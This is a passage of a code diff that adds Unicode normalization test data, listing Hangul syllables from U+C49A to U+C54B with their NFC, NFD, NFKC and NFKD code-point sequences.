+{ source: [0xC49A], NFC: [0xC49A], NFD: [0x110A, 0x116F, 0x11C1], NFKC: [0xC49A], NFKD: [0x110A, 0x116F, 0x11C1] },
+{ source: [0xC49B], NFC: [0xC49B], NFD: [0x110A, 0x116F, 0x11C2], NFKC: [0xC49B], NFKD: [0x110A, 0x116F, 0x11C2] },
+{ source: [0xC49C], NFC: [0xC49C], NFD: [0x110A, 0x1170], NFKC: [0xC49C], NFKD: [0x110A, 0x1170] },
+{ source: [0xC49D], NFC: [0xC49D], NFD: [0x110A, 0x1170, 0x11A8], NFKC: [0xC49D], NFKD: [0x110A, 0x1170, 0x11A8] },
+{ source: [0xC49E], NFC: [0xC49E], NFD: [0x110A, 0x1170, 0x11A9], NFKC: [0xC49E], NFKD: [0x110A, 0x1170, 0x11A9] },
+{ source: [0xC49F], NFC: [0xC49F], NFD: [0x110A, 0x1170, 0x11AA], NFKC: [0xC49F], NFKD: [0x110A, 0x1170, 0x11AA] },
+{ source: [0xC4A0], NFC: [0xC4A0], NFD: [0x110A, 0x1170, 0x11AB], NFKC: [0xC4A0], NFKD: [0x110A, 0x1170, 0x11AB] },
+{ source: [0xC4A1], NFC: [0xC4A1], NFD: [0x110A, 0x1170, 0x11AC], NFKC: [0xC4A1], NFKD: [0x110A, 0x1170, 0x11AC] },
+{ source: [0xC4A2], NFC: [0xC4A2], NFD: [0x110A, 0x1170, 0x11AD], NFKC: [0xC4A2], NFKD: [0x110A, 0x1170, 0x11AD] },
+{ source: [0xC4A3], NFC: [0xC4A3], NFD: [0x110A, 0x1170, 0x11AE], NFKC: [0xC4A3], NFKD: [0x110A, 0x1170, 0x11AE] },
+{ source: [0xC4A4], NFC: [0xC4A4], NFD: [0x110A, 0x1170, 0x11AF], NFKC: [0xC4A4], NFKD: [0x110A, 0x1170, 0x11AF] },
+{ source: [0xC4A5], NFC: [0xC4A5], NFD: [0x110A, 0x1170, 0x11B0], NFKC: [0xC4A5], NFKD: [0x110A, 0x1170, 0x11B0] },
+{ source: [0xC4A6], NFC: [0xC4A6], NFD: [0x110A, 0x1170, 0x11B1], NFKC: [0xC4A6], NFKD: [0x110A, 0x1170, 0x11B1] },
+{ source: [0xC4A7], NFC: [0xC4A7], NFD: [0x110A, 0x1170, 0x11B2], NFKC: [0xC4A7], NFKD: [0x110A, 0x1170, 0x11B2] },
+{ source: [0xC4A8], NFC: [0xC4A8], NFD: [0x110A, 0x1170, 0x11B3], NFKC: [0xC4A8], NFKD: [0x110A, 0x1170, 0x11B3] },
+{ source: [0xC4A9], NFC: [0xC4A9], NFD: [0x110A, 0x1170, 0x11B4], NFKC: [0xC4A9], NFKD: [0x110A, 0x1170, 0x11B4] },
+{ source: [0xC4AA], NFC: [0xC4AA], NFD: [0x110A, 0x1170, 0x11B5], NFKC: [0xC4AA], NFKD: [0x110A, 0x1170, 0x11B5] },
+{ source: [0xC4AB], NFC: [0xC4AB], NFD: [0x110A, 0x1170, 0x11B6], NFKC: [0xC4AB], NFKD: [0x110A, 0x1170, 0x11B6] },
+{ source: [0xC4AC], NFC: [0xC4AC], NFD: [0x110A, 0x1170, 0x11B7], NFKC: [0xC4AC], NFKD: [0x110A, 0x1170, 0x11B7] },
+{ source: [0xC4AD], NFC: [0xC4AD], NFD: [0x110A, 0x1170, 0x11B8], NFKC: [0xC4AD], NFKD: [0x110A, 0x1170, 0x11B8] },
+{ source: [0xC4AE], NFC: [0xC4AE], NFD: [0x110A, 0x1170, 0x11B9], NFKC: [0xC4AE], NFKD: [0x110A, 0x1170, 0x11B9] },
+{ source: [0xC4AF], NFC: [0xC4AF], NFD: [0x110A, 0x1170, 0x11BA], NFKC: [0xC4AF], NFKD: [0x110A, 0x1170, 0x11BA] },
+{ source: [0xC4B0], NFC: [0xC4B0], NFD: [0x110A, 0x1170, 0x11BB], NFKC: [0xC4B0], NFKD: [0x110A, 0x1170, 0x11BB] },
+{ source: [0xC4B1], NFC: [0xC4B1], NFD: [0x110A, 0x1170, 0x11BC], NFKC: [0xC4B1], NFKD: [0x110A, 0x1170, 0x11BC] },
+{ source: [0xC4B2], NFC: [0xC4B2], NFD: [0x110A, 0x1170, 0x11BD], NFKC: [0xC4B2], NFKD: [0x110A, 0x1170, 0x11BD] },
+{ source: [0xC4B3], NFC: [0xC4B3], NFD: [0x110A, 0x1170, 0x11BE], NFKC: [0xC4B3], NFKD: [0x110A, 0x1170, 0x11BE] },
+{ source: [0xC4B4], NFC: [0xC4B4], NFD: [0x110A, 0x1170, 0x11BF], NFKC: [0xC4B4], NFKD: [0x110A, 0x1170, 0x11BF] },
+{ source: [0xC4B5], NFC: [0xC4B5], NFD: [0x110A, 0x1170, 0x11C0], NFKC: [0xC4B5], NFKD: [0x110A, 0x1170, 0x11C0] },
+{ source: [0xC4B6], NFC: [0xC4B6], NFD: [0x110A, 0x1170, 0x11C1], NFKC: [0xC4B6], NFKD: [0x110A, 0x1170, 0x11C1] },
+{ source: [0xC4B7], NFC: [0xC4B7], NFD: [0x110A, 0x1170, 0x11C2], NFKC: [0xC4B7], NFKD: [0x110A, 0x1170, 0x11C2] },
+{ source: [0xC4B8], NFC: [0xC4B8], NFD: [0x110A, 0x1171], NFKC: [0xC4B8], NFKD: [0x110A, 0x1171] },
+{ source: [0xC4B9], NFC: [0xC4B9], NFD: [0x110A, 0x1171, 0x11A8], NFKC: [0xC4B9], NFKD: [0x110A, 0x1171, 0x11A8] },
+{ source: [0xC4BA], NFC: [0xC4BA], NFD: [0x110A, 0x1171, 0x11A9], NFKC: [0xC4BA], NFKD: [0x110A, 0x1171, 0x11A9] },
+{ source: [0xC4BB], NFC: [0xC4BB], NFD: [0x110A, 0x1171, 0x11AA], NFKC: [0xC4BB], NFKD: [0x110A, 0x1171, 0x11AA] },
+{ source: [0xC4BC], NFC: [0xC4BC], NFD: [0x110A, 0x1171, 0x11AB], NFKC: [0xC4BC], NFKD: [0x110A, 0x1171, 0x11AB] },
+{ source: [0xC4BD], NFC: [0xC4BD], NFD: [0x110A, 0x1171, 0x11AC], NFKC: [0xC4BD], NFKD: [0x110A, 0x1171, 0x11AC] },
+{ source: [0xC4BE], NFC: [0xC4BE], NFD: [0x110A, 0x1171, 0x11AD], NFKC: [0xC4BE], NFKD: [0x110A, 0x1171, 0x11AD] },
+{ source: [0xC4BF], NFC: [0xC4BF], NFD: [0x110A, 0x1171, 0x11AE], NFKC: [0xC4BF], NFKD: [0x110A, 0x1171, 0x11AE] },
+{ source: [0xC4C0], NFC: [0xC4C0], NFD: [0x110A, 0x1171, 0x11AF], NFKC: [0xC4C0], NFKD: [0x110A, 0x1171, 0x11AF] },
+{ source: [0xC4C1], NFC: [0xC4C1], NFD: [0x110A, 0x1171, 0x11B0], NFKC: [0xC4C1], NFKD: [0x110A, 0x1171, 0x11B0] },
+{ source: [0xC4C2], NFC: [0xC4C2], NFD: [0x110A, 0x1171, 0x11B1], NFKC: [0xC4C2], NFKD: [0x110A, 0x1171, 0x11B1] },
+{ source: [0xC4C3], NFC: [0xC4C3], NFD: [0x110A, 0x1171, 0x11B2], NFKC: [0xC4C3], NFKD: [0x110A, 0x1171, 0x11B2] },
+{ source: [0xC4C4], NFC: [0xC4C4], NFD: [0x110A, 0x1171, 0x11B3], NFKC: [0xC4C4], NFKD: [0x110A, 0x1171, 0x11B3] },
+{ source: [0xC4C5], NFC: [0xC4C5], NFD: [0x110A, 0x1171, 0x11B4], NFKC: [0xC4C5], NFKD: [0x110A, 0x1171, 0x11B4] },
+{ source: [0xC4C6], NFC: [0xC4C6], NFD: [0x110A, 0x1171, 0x11B5], NFKC: [0xC4C6], NFKD: [0x110A, 0x1171, 0x11B5] },
+{ source: [0xC4C7], NFC: [0xC4C7], NFD: [0x110A, 0x1171, 0x11B6], NFKC: [0xC4C7], NFKD: [0x110A, 0x1171, 0x11B6] },
+{ source: [0xC4C8], NFC: [0xC4C8], NFD: [0x110A, 0x1171, 0x11B7], NFKC: [0xC4C8], NFKD: [0x110A, 0x1171, 0x11B7] },
+{ source: [0xC4C9], NFC: [0xC4C9], NFD: [0x110A, 0x1171, 0x11B8], NFKC: [0xC4C9], NFKD: [0x110A, 0x1171, 0x11B8] },
+{ source: [0xC4CA], NFC: [0xC4CA], NFD: [0x110A, 0x1171, 0x11B9], NFKC: [0xC4CA], NFKD: [0x110A, 0x1171, 0x11B9] },
+{ source: [0xC4CB], NFC: [0xC4CB], NFD: [0x110A, 0x1171, 0x11BA], NFKC: [0xC4CB], NFKD: [0x110A, 0x1171, 0x11BA] },
+{ source: [0xC4CC], NFC: [0xC4CC], NFD: [0x110A, 0x1171, 0x11BB], NFKC: [0xC4CC], NFKD: [0x110A, 0x1171, 0x11BB] },
+{ source: [0xC4CD], NFC: [0xC4CD], NFD: [0x110A, 0x1171, 0x11BC], NFKC: [0xC4CD], NFKD: [0x110A, 0x1171, 0x11BC] },
+{ source: [0xC4CE], NFC: [0xC4CE], NFD: [0x110A, 0x1171, 0x11BD], NFKC: [0xC4CE], NFKD: [0x110A, 0x1171, 0x11BD] },
+{ source: [0xC4CF], NFC: [0xC4CF], NFD: [0x110A, 0x1171, 0x11BE], NFKC: [0xC4CF], NFKD: [0x110A, 0x1171, 0x11BE] },
+{ source: [0xC4D0], NFC: [0xC4D0], NFD: [0x110A, 0x1171, 0x11BF], NFKC: [0xC4D0], NFKD: [0x110A, 0x1171, 0x11BF] },
+{ source: [0xC4D1], NFC: [0xC4D1], NFD: [0x110A, 0x1171, 0x11C0], NFKC: [0xC4D1], NFKD: [0x110A, 0x1171, 0x11C0] },
+{ source: [0xC4D2], NFC: [0xC4D2], NFD: [0x110A, 0x1171, 0x11C1], NFKC: [0xC4D2], NFKD: [0x110A, 0x1171, 0x11C1] },
+{ source: [0xC4D3], NFC: [0xC4D3], NFD: [0x110A, 0x1171, 0x11C2], NFKC: [0xC4D3], NFKD: [0x110A, 0x1171, 0x11C2] },
+{ source: [0xC4D4], NFC: [0xC4D4], NFD: [0x110A, 0x1172], NFKC: [0xC4D4], NFKD: [0x110A, 0x1172] },
+{ source: [0xC4D5], NFC: [0xC4D5], NFD: [0x110A, 0x1172, 0x11A8], NFKC: [0xC4D5], NFKD: [0x110A, 0x1172, 0x11A8] },
+{ source: [0xC4D6], NFC: [0xC4D6], NFD: [0x110A, 0x1172, 0x11A9], NFKC: [0xC4D6], NFKD: [0x110A, 0x1172, 0x11A9] },
+{ source: [0xC4D7], NFC: [0xC4D7], NFD: [0x110A, 0x1172, 0x11AA], NFKC: [0xC4D7], NFKD: [0x110A, 0x1172, 0x11AA] },
+{ source: [0xC4D8], NFC: [0xC4D8], NFD: [0x110A, 0x1172, 0x11AB], NFKC: [0xC4D8], NFKD: [0x110A, 0x1172, 0x11AB] },
+{ source: [0xC4D9], NFC: [0xC4D9], NFD: [0x110A, 0x1172, 0x11AC], NFKC: [0xC4D9], NFKD: [0x110A, 0x1172, 0x11AC] },
+{ source: [0xC4DA], NFC: [0xC4DA], NFD: [0x110A, 0x1172, 0x11AD], NFKC: [0xC4DA], NFKD: [0x110A, 0x1172, 0x11AD] },
+{ source: [0xC4DB], NFC: [0xC4DB], NFD: [0x110A, 0x1172, 0x11AE], NFKC: [0xC4DB], NFKD: [0x110A, 0x1172, 0x11AE] },
+{ source: [0xC4DC], NFC: [0xC4DC], NFD: [0x110A, 0x1172, 0x11AF], NFKC: [0xC4DC], NFKD: [0x110A, 0x1172, 0x11AF] },
+{ source: [0xC4DD], NFC: [0xC4DD], NFD: [0x110A, 0x1172, 0x11B0], NFKC: [0xC4DD], NFKD: [0x110A, 0x1172, 0x11B0] },
+{ source: [0xC4DE], NFC: [0xC4DE], NFD: [0x110A, 0x1172, 0x11B1], NFKC: [0xC4DE], NFKD: [0x110A, 0x1172, 0x11B1] },
+{ source: [0xC4DF], NFC: [0xC4DF], NFD: [0x110A, 0x1172, 0x11B2], NFKC: [0xC4DF], NFKD: [0x110A, 0x1172, 0x11B2] },
+{ source: [0xC4E0], NFC: [0xC4E0], NFD: [0x110A, 0x1172, 0x11B3], NFKC: [0xC4E0], NFKD: [0x110A, 0x1172, 0x11B3] },
+{ source: [0xC4E1], NFC: [0xC4E1], NFD: [0x110A, 0x1172, 0x11B4], NFKC: [0xC4E1], NFKD: [0x110A, 0x1172, 0x11B4] },
+{ source: [0xC4E2], NFC: [0xC4E2], NFD: [0x110A, 0x1172, 0x11B5], NFKC: [0xC4E2], NFKD: [0x110A, 0x1172, 0x11B5] },
+{ source: [0xC4E3], NFC: [0xC4E3], NFD: [0x110A, 0x1172, 0x11B6], NFKC: [0xC4E3], NFKD: [0x110A, 0x1172, 0x11B6] },
+{ source: [0xC4E4], NFC: [0xC4E4], NFD: [0x110A, 0x1172, 0x11B7], NFKC: [0xC4E4], NFKD: [0x110A, 0x1172, 0x11B7] },
+{ source: [0xC4E5], NFC: [0xC4E5], NFD: [0x110A, 0x1172, 0x11B8], NFKC: [0xC4E5], NFKD: [0x110A, 0x1172, 0x11B8] },
+{ source: [0xC4E6], NFC: [0xC4E6], NFD: [0x110A, 0x1172, 0x11B9], NFKC: [0xC4E6], NFKD: [0x110A, 0x1172, 0x11B9] },
+{ source: [0xC4E7], NFC: [0xC4E7], NFD: [0x110A, 0x1172, 0x11BA], NFKC: [0xC4E7], NFKD: [0x110A, 0x1172, 0x11BA] },
+{ source: [0xC4E8], NFC: [0xC4E8], NFD: [0x110A, 0x1172, 0x11BB], NFKC: [0xC4E8], NFKD: [0x110A, 0x1172, 0x11BB] },
+{ source: [0xC4E9], NFC: [0xC4E9], NFD: [0x110A, 0x1172, 0x11BC], NFKC: [0xC4E9], NFKD: [0x110A, 0x1172, 0x11BC] },
+{ source: [0xC4EA], NFC: [0xC4EA], NFD: [0x110A, 0x1172, 0x11BD], NFKC: [0xC4EA], NFKD: [0x110A, 0x1172, 0x11BD] },
+{ source: [0xC4EB], NFC: [0xC4EB], NFD: [0x110A, 0x1172, 0x11BE], NFKC: [0xC4EB], NFKD: [0x110A, 0x1172, 0x11BE] },
+{ source: [0xC4EC], NFC: [0xC4EC], NFD: [0x110A, 0x1172, 0x11BF], NFKC: [0xC4EC], NFKD: [0x110A, 0x1172, 0x11BF] },
+{ source: [0xC4ED], NFC: [0xC4ED], NFD: [0x110A, 0x1172, 0x11C0], NFKC: [0xC4ED], NFKD: [0x110A, 0x1172, 0x11C0] },
+{ source: [0xC4EE], NFC: [0xC4EE], NFD: [0x110A, 0x1172, 0x11C1], NFKC: [0xC4EE], NFKD: [0x110A, 0x1172, 0x11C1] },
+{ source: [0xC4EF], NFC: [0xC4EF], NFD: [0x110A, 0x1172, 0x11C2], NFKC: [0xC4EF], NFKD: [0x110A, 0x1172, 0x11C2] },
+{ source: [0xC4F0], NFC: [0xC4F0], NFD: [0x110A, 0x1173], NFKC: [0xC4F0], NFKD: [0x110A, 0x1173] },
+{ source: [0xC4F1], NFC: [0xC4F1], NFD: [0x110A, 0x1173, 0x11A8], NFKC: [0xC4F1], NFKD: [0x110A, 0x1173, 0x11A8] },
+{ source: [0xC4F2], NFC: [0xC4F2], NFD: [0x110A, 0x1173, 0x11A9], NFKC: [0xC4F2], NFKD: [0x110A, 0x1173, 0x11A9] },
+{ source: [0xC4F3], NFC: [0xC4F3], NFD: [0x110A, 0x1173, 0x11AA], NFKC: [0xC4F3], NFKD: [0x110A, 0x1173, 0x11AA] },
+{ source: [0xC4F4], NFC: [0xC4F4], NFD: [0x110A, 0x1173, 0x11AB], NFKC: [0xC4F4], NFKD: [0x110A, 0x1173, 0x11AB] },
+{ source: [0xC4F5], NFC: [0xC4F5], NFD: [0x110A, 0x1173, 0x11AC], NFKC: [0xC4F5], NFKD: [0x110A, 0x1173, 0x11AC] },
+{ source: [0xC4F6], NFC: [0xC4F6], NFD: [0x110A, 0x1173, 0x11AD], NFKC: [0xC4F6], NFKD: [0x110A, 0x1173, 0x11AD] },
+{ source: [0xC4F7], NFC: [0xC4F7], NFD: [0x110A, 0x1173, 0x11AE], NFKC: [0xC4F7], NFKD: [0x110A, 0x1173, 0x11AE] },
+{ source: [0xC4F8], NFC: [0xC4F8], NFD: [0x110A, 0x1173, 0x11AF], NFKC: [0xC4F8], NFKD: [0x110A, 0x1173, 0x11AF] },
+{ source: [0xC4F9], NFC: [0xC4F9], NFD: [0x110A, 0x1173, 0x11B0], NFKC: [0xC4F9], NFKD: [0x110A, 0x1173, 0x11B0] },
+{ source: [0xC4FA], NFC: [0xC4FA], NFD: [0x110A, 0x1173, 0x11B1], NFKC: [0xC4FA], NFKD: [0x110A, 0x1173, 0x11B1] },
+{ source: [0xC4FB], NFC: [0xC4FB], NFD: [0x110A, 0x1173, 0x11B2], NFKC: [0xC4FB], NFKD: [0x110A, 0x1173, 0x11B2] },
+{ source: [0xC4FC], NFC: [0xC4FC], NFD: [0x110A, 0x1173, 0x11B3], NFKC: [0xC4FC], NFKD: [0x110A, 0x1173, 0x11B3] },
+{ source: [0xC4FD], NFC: [0xC4FD], NFD: [0x110A, 0x1173, 0x11B4], NFKC: [0xC4FD], NFKD: [0x110A, 0x1173, 0x11B4] },
+{ source: [0xC4FE], NFC: [0xC4FE], NFD: [0x110A, 0x1173, 0x11B5], NFKC: [0xC4FE], NFKD: [0x110A, 0x1173, 0x11B5] },
+{ source: [0xC4FF], NFC: [0xC4FF], NFD: [0x110A, 0x1173, 0x11B6], NFKC: [0xC4FF], NFKD: [0x110A, 0x1173, 0x11B6] },
+{ source: [0xC500], NFC: [0xC500], NFD: [0x110A, 0x1173, 0x11B7], NFKC: [0xC500], NFKD: [0x110A, 0x1173, 0x11B7] },
+{ source: [0xC501], NFC: [0xC501], NFD: [0x110A, 0x1173, 0x11B8], NFKC: [0xC501], NFKD: [0x110A, 0x1173, 0x11B8] },
+{ source: [0xC502], NFC: [0xC502], NFD: [0x110A, 0x1173, 0x11B9], NFKC: [0xC502], NFKD: [0x110A, 0x1173, 0x11B9] },
+{ source: [0xC503], NFC: [0xC503], NFD: [0x110A, 0x1173, 0x11BA], NFKC: [0xC503], NFKD: [0x110A, 0x1173, 0x11BA] },
+{ source: [0xC504], NFC: [0xC504], NFD: [0x110A, 0x1173, 0x11BB], NFKC: [0xC504], NFKD: [0x110A, 0x1173, 0x11BB] },
+{ source: [0xC505], NFC: [0xC505], NFD: [0x110A, 0x1173, 0x11BC], NFKC: [0xC505], NFKD: [0x110A, 0x1173, 0x11BC] },
+{ source: [0xC506], NFC: [0xC506], NFD: [0x110A, 0x1173, 0x11BD], NFKC: [0xC506], NFKD: [0x110A, 0x1173, 0x11BD] },
+{ source: [0xC507], NFC: [0xC507], NFD: [0x110A, 0x1173, 0x11BE], NFKC: [0xC507], NFKD: [0x110A, 0x1173, 0x11BE] },
+{ source: [0xC508], NFC: [0xC508], NFD: [0x110A, 0x1173, 0x11BF], NFKC: [0xC508], NFKD: [0x110A, 0x1173, 0x11BF] },
+{ source: [0xC509], NFC: [0xC509], NFD: [0x110A, 0x1173, 0x11C0], NFKC: [0xC509], NFKD: [0x110A, 0x1173, 0x11C0] },
+{ source: [0xC50A], NFC: [0xC50A], NFD: [0x110A, 0x1173, 0x11C1], NFKC: [0xC50A], NFKD: [0x110A, 0x1173, 0x11C1] },
+{ source: [0xC50B], NFC: [0xC50B], NFD: [0x110A, 0x1173, 0x11C2], NFKC: [0xC50B], NFKD: [0x110A, 0x1173, 0x11C2] },
+{ source: [0xC50C], NFC: [0xC50C], NFD: [0x110A, 0x1174], NFKC: [0xC50C], NFKD: [0x110A, 0x1174] },
+{ source: [0xC50D], NFC: [0xC50D], NFD: [0x110A, 0x1174, 0x11A8], NFKC: [0xC50D], NFKD: [0x110A, 0x1174, 0x11A8] },
+{ source: [0xC50E], NFC: [0xC50E], NFD: [0x110A, 0x1174, 0x11A9], NFKC: [0xC50E], NFKD: [0x110A, 0x1174, 0x11A9] },
+{ source: [0xC50F], NFC: [0xC50F], NFD: [0x110A, 0x1174, 0x11AA], NFKC: [0xC50F], NFKD: [0x110A, 0x1174, 0x11AA] },
+{ source: [0xC510], NFC: [0xC510], NFD: [0x110A, 0x1174, 0x11AB], NFKC: [0xC510], NFKD: [0x110A, 0x1174, 0x11AB] },
+{ source: [0xC511], NFC: [0xC511], NFD: [0x110A, 0x1174, 0x11AC], NFKC: [0xC511], NFKD: [0x110A, 0x1174, 0x11AC] },
+{ source: [0xC512], NFC: [0xC512], NFD: [0x110A, 0x1174, 0x11AD], NFKC: [0xC512], NFKD: [0x110A, 0x1174, 0x11AD] },
+{ source: [0xC513], NFC: [0xC513], NFD: [0x110A, 0x1174, 0x11AE], NFKC: [0xC513], NFKD: [0x110A, 0x1174, 0x11AE] },
+{ source: [0xC514], NFC: [0xC514], NFD: [0x110A, 0x1174, 0x11AF], NFKC: [0xC514], NFKD: [0x110A, 0x1174, 0x11AF] },
+{ source: [0xC515], NFC: [0xC515], NFD: [0x110A, 0x1174, 0x11B0], NFKC: [0xC515], NFKD: [0x110A, 0x1174, 0x11B0] },
+{ source: [0xC516], NFC: [0xC516], NFD: [0x110A, 0x1174, 0x11B1], NFKC: [0xC516], NFKD: [0x110A, 0x1174, 0x11B1] },
+{ source: [0xC517], NFC: [0xC517], NFD: [0x110A, 0x1174, 0x11B2], NFKC: [0xC517], NFKD: [0x110A, 0x1174, 0x11B2] },
+{ source: [0xC518], NFC: [0xC518], NFD: [0x110A, 0x1174, 0x11B3], NFKC: [0xC518], NFKD: [0x110A, 0x1174, 0x11B3] },
+{ source: [0xC519], NFC: [0xC519], NFD: [0x110A, 0x1174, 0x11B4], NFKC: [0xC519], NFKD: [0x110A, 0x1174, 0x11B4] },
+{ source: [0xC51A], NFC: [0xC51A], NFD: [0x110A, 0x1174, 0x11B5], NFKC: [0xC51A], NFKD: [0x110A, 0x1174, 0x11B5] },
+{ source: [0xC51B], NFC: [0xC51B], NFD: [0x110A, 0x1174, 0x11B6], NFKC: [0xC51B], NFKD: [0x110A, 0x1174, 0x11B6] },
+{ source: [0xC51C], NFC: [0xC51C], NFD: [0x110A, 0x1174, 0x11B7], NFKC: [0xC51C], NFKD: [0x110A, 0x1174, 0x11B7] },
+{ source: [0xC51D], NFC: [0xC51D], NFD: [0x110A, 0x1174, 0x11B8], NFKC: [0xC51D], NFKD: [0x110A, 0x1174, 0x11B8] },
+{ source: [0xC51E], NFC: [0xC51E], NFD: [0x110A, 0x1174, 0x11B9], NFKC: [0xC51E], NFKD: [0x110A, 0x1174, 0x11B9] },
+{ source: [0xC51F], NFC: [0xC51F], NFD: [0x110A, 0x1174, 0x11BA], NFKC: [0xC51F], NFKD: [0x110A, 0x1174, 0x11BA] },
+{ source: [0xC520], NFC: [0xC520], NFD: [0x110A, 0x1174, 0x11BB], NFKC: [0xC520], NFKD: [0x110A, 0x1174, 0x11BB] },
+{ source: [0xC521], NFC: [0xC521], NFD: [0x110A, 0x1174, 0x11BC], NFKC: [0xC521], NFKD: [0x110A, 0x1174, 0x11BC] },
+{ source: [0xC522], NFC: [0xC522], NFD: [0x110A, 0x1174, 0x11BD], NFKC: [0xC522], NFKD: [0x110A, 0x1174, 0x11BD] },
+{ source: [0xC523], NFC: [0xC523], NFD: [0x110A, 0x1174, 0x11BE], NFKC: [0xC523], NFKD: [0x110A, 0x1174, 0x11BE] },
+{ source: [0xC524], NFC: [0xC524], NFD: [0x110A, 0x1174, 0x11BF], NFKC: [0xC524], NFKD: [0x110A, 0x1174, 0x11BF] },
+{ source: [0xC525], NFC: [0xC525], NFD: [0x110A, 0x1174, 0x11C0], NFKC: [0xC525], NFKD: [0x110A, 0x1174, 0x11C0] },
+{ source: [0xC526], NFC: [0xC526], NFD: [0x110A, 0x1174, 0x11C1], NFKC: [0xC526], NFKD: [0x110A, 0x1174, 0x11C1] },
+{ source: [0xC527], NFC: [0xC527], NFD: [0x110A, 0x1174, 0x11C2], NFKC: [0xC527], NFKD: [0x110A, 0x1174, 0x11C2] },
+{ source: [0xC528], NFC: [0xC528], NFD: [0x110A, 0x1175], NFKC: [0xC528], NFKD: [0x110A, 0x1175] },
+{ source: [0xC529], NFC: [0xC529], NFD: [0x110A, 0x1175, 0x11A8], NFKC: [0xC529], NFKD: [0x110A, 0x1175, 0x11A8] },
+{ source: [0xC52A], NFC: [0xC52A], NFD: [0x110A, 0x1175, 0x11A9], NFKC: [0xC52A], NFKD: [0x110A, 0x1175, 0x11A9] },
+{ source: [0xC52B], NFC: [0xC52B], NFD: [0x110A, 0x1175, 0x11AA], NFKC: [0xC52B], NFKD: [0x110A, 0x1175, 0x11AA] },
+{ source: [0xC52C], NFC: [0xC52C], NFD: [0x110A, 0x1175, 0x11AB], NFKC: [0xC52C], NFKD: [0x110A, 0x1175, 0x11AB] },
+{ source: [0xC52D], NFC: [0xC52D], NFD: [0x110A, 0x1175, 0x11AC], NFKC: [0xC52D], NFKD: [0x110A, 0x1175, 0x11AC] },
+{ source: [0xC52E], NFC: [0xC52E], NFD: [0x110A, 0x1175, 0x11AD], NFKC: [0xC52E], NFKD: [0x110A, 0x1175, 0x11AD] },
+{ source: [0xC52F], NFC: [0xC52F], NFD: [0x110A, 0x1175, 0x11AE], NFKC: [0xC52F], NFKD: [0x110A, 0x1175, 0x11AE] },
+{ source: [0xC530], NFC: [0xC530], NFD: [0x110A, 0x1175, 0x11AF], NFKC: [0xC530], NFKD: [0x110A, 0x1175, 0x11AF] },
+{ source: [0xC531], NFC: [0xC531], NFD: [0x110A, 0x1175, 0x11B0], NFKC: [0xC531], NFKD: [0x110A, 0x1175, 0x11B0] },
+{ source: [0xC532], NFC: [0xC532], NFD: [0x110A, 0x1175, 0x11B1], NFKC: [0xC532], NFKD: [0x110A, 0x1175, 0x11B1] },
+{ source: [0xC533], NFC: [0xC533], NFD: [0x110A, 0x1175, 0x11B2], NFKC: [0xC533], NFKD: [0x110A, 0x1175, 0x11B2] },
+{ source: [0xC534], NFC: [0xC534], NFD: [0x110A, 0x1175, 0x11B3], NFKC: [0xC534], NFKD: [0x110A, 0x1175, 0x11B3] },
+{ source: [0xC535], NFC: [0xC535], NFD: [0x110A, 0x1175, 0x11B4], NFKC: [0xC535], NFKD: [0x110A, 0x1175, 0x11B4] },
+{ source: [0xC536], NFC: [0xC536], NFD: [0x110A, 0x1175, 0x11B5], NFKC: [0xC536], NFKD: [0x110A, 0x1175, 0x11B5] },
+{ source: [0xC537], NFC: [0xC537], NFD: [0x110A, 0x1175, 0x11B6], NFKC: [0xC537], NFKD: [0x110A, 0x1175, 0x11B6] },
+{ source: [0xC538], NFC: [0xC538], NFD: [0x110A, 0x1175, 0x11B7], NFKC: [0xC538], NFKD: [0x110A, 0x1175, 0x11B7] },
+{ source: [0xC539], NFC: [0xC539], NFD: [0x110A, 0x1175, 0x11B8], NFKC: [0xC539], NFKD: [0x110A, 0x1175, 0x11B8] },
+{ source: [0xC53A], NFC: [0xC53A], NFD: [0x110A, 0x1175, 0x11B9], NFKC: [0xC53A], NFKD: [0x110A, 0x1175, 0x11B9] },
+{ source: [0xC53B], NFC: [0xC53B], NFD: [0x110A, 0x1175, 0x11BA], NFKC: [0xC53B], NFKD: [0x110A, 0x1175, 0x11BA] },
+{ source: [0xC53C], NFC: [0xC53C], NFD: [0x110A, 0x1175, 0x11BB], NFKC: [0xC53C], NFKD: [0x110A, 0x1175, 0x11BB] },
+{ source: [0xC53D], NFC: [0xC53D], NFD: [0x110A, 0x1175, 0x11BC], NFKC: [0xC53D], NFKD: [0x110A, 0x1175, 0x11BC] },
+{ source: [0xC53E], NFC: [0xC53E], NFD: [0x110A, 0x1175, 0x11BD], NFKC: [0xC53E], NFKD: [0x110A, 0x1175, 0x11BD] },
+{ source: [0xC53F], NFC: [0xC53F], NFD: [0x110A, 0x1175, 0x11BE], NFKC: [0xC53F], NFKD: [0x110A, 0x1175, 0x11BE] },
+{ source: [0xC540], NFC: [0xC540], NFD: [0x110A, 0x1175, 0x11BF], NFKC: [0xC540], NFKD: [0x110A, 0x1175, 0x11BF] },
+{ source: [0xC541], NFC: [0xC541], NFD: [0x110A, 0x1175, 0x11C0], NFKC: [0xC541], NFKD: [0x110A, 0x1175, 0x11C0] },
+{ source: [0xC542], NFC: [0xC542], NFD: [0x110A, 0x1175, 0x11C1], NFKC: [0xC542], NFKD: [0x110A, 0x1175, 0x11C1] },
+{ source: [0xC543], NFC: [0xC543], NFD: [0x110A, 0x1175, 0x11C2], NFKC: [0xC543], NFKD: [0x110A, 0x1175, 0x11C2] },
+{ source: [0xC544], NFC: [0xC544], NFD: [0x110B, 0x1161], NFKC: [0xC544], NFKD: [0x110B, 0x1161] },
+{ source: [0xC545], NFC: [0xC545], NFD: [0x110B, 0x1161, 0x11A8], NFKC: [0xC545], NFKD: [0x110B, 0x1161, 0x11A8] },
+{ source: [0xC546], NFC: [0xC546], NFD: [0x110B, 0x1161, 0x11A9], NFKC: [0xC546], NFKD: [0x110B, 0x1161, 0x11A9] },
+{ source: [0xC547], NFC: [0xC547], NFD: [0x110B, 0x1161, 0x11AA], NFKC: [0xC547], NFKD: [0x110B, 0x1161, 0x11AA] },
+{ source: [0xC548], NFC: [0xC548], NFD: [0x110B, 0x1161, 0x11AB], NFKC: [0xC548], NFKD: [0x110B, 0x1161, 0x11AB] },
+{ source: [0xC549], NFC: [0xC549], NFD: [0x110B, 0x1161, 0x11AC], NFKC: [0xC549], NFKD: [0x110B, 0x1161, 0x11AC] },
+{ source: [0xC54A], NFC: [0xC54A], NFD: [0x110B, 0x1161, 0x11AD], NFKC: [0xC54A], NFKD: [0x110B, 0x1161, 0x11AD] },
+{ source: [0xC54B], NFC: [0xC54B], NFD: [0x110B, 0x1161, 0x11AE], NFKC: [0xC54B], NFKD: [0x110B, 0x1161, 0x11AE] },
